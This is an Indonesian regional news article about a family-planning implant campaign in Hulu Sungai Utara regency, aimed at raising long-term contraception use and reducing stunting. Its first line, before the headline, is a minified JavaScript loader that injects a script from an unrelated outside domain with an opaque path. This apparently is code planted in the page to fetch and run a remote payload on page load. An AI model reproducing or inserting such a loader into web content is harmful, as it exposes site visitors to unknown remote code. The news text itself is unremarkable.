(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPPKB HSU Targetkan Capaian KB MKJP dan Percepatan Penurunan Angka Stunting

KANALKALIMANTAN.COM, AMUNTAI – Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Kabupaten Hulu Sungai Utara (HSU) menggelar pekan pelayanan KB serentak implant 1 batang.

Kepala DPPKB HSU Lily Inderiani mengatakan, dalam pekan pelayanan KB serentak implant 1 batang Kabupaten HSU mendapatkan kuota sebanyak 200 akseptor.

“Dari jatah 200 akseptor, saat ini kami telah mendata sebanyak 176 akseptor, semoga akan bertambah karena kegiatan ini dilaksanakan dari 28 Februari hingga 8 Maret nanti,” katanya, di sela kegiatan di klinik tiga serangkai DPPKB HSU, Kamis (29/2/2024).

Dikatakannya, kegiatan pelayanan dilakukan sebagai upaya pemerintah untuk meningkatkan capaian KB Metode Kontrasepsi Jangka Panjang (MKJP) dan Keluarga Berencana Pasca Persalinan (KBPP) bagi Pasangan Usia Subur (PUS) di HSU, sekaligus dalam upaya mendukung program percepatan penurunan angka stunting.

Dia menyebut, melalui kegiatan ini pihaknya melaksanakan di beberapa titik, di antaranya untuk 5 kecamatan terdekat dengan kantor DPPKB dilaksanakan pemasangan KB implant di kantor klinik tiga serangkai DPPKB, sedangkan 5 kecamatan lainnya dilaksanakan di kecamatan masing-masing.

“Untuk yang dilakukan ini terhadap akseptor baru, ada juga pasca melahirkan, dan mengganti cari dari KB non MKJP ke KB MKJP,” imbuhnya.

Lebih lanjut, Lily mengharapkan, dengan digelarnya Pekan Pelayanan KB serentak implant 1 batang ini, dapat memberikan dampak dalam meningkatkan penggunaan KB jenis baru serta menurunnya angka stunting.

Diana, Kepala Desa Sungai Limas, mengaku bersyukur dengan adanya pekan pelayanan KB serentak implant 1 batang yang diadakan DPPKB HSU.

“Kami ucapkan terima kasih kepada Pemerintah Kabupaten HSU telah mengadakan kegiatan pemasangan implant untuk masyarakat, tentunya kami sangat terbantu sekali juga dari sisi ekonomi karena gratis, dalam hal ini juga untuk menurunkan angka stunting,” tuturnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie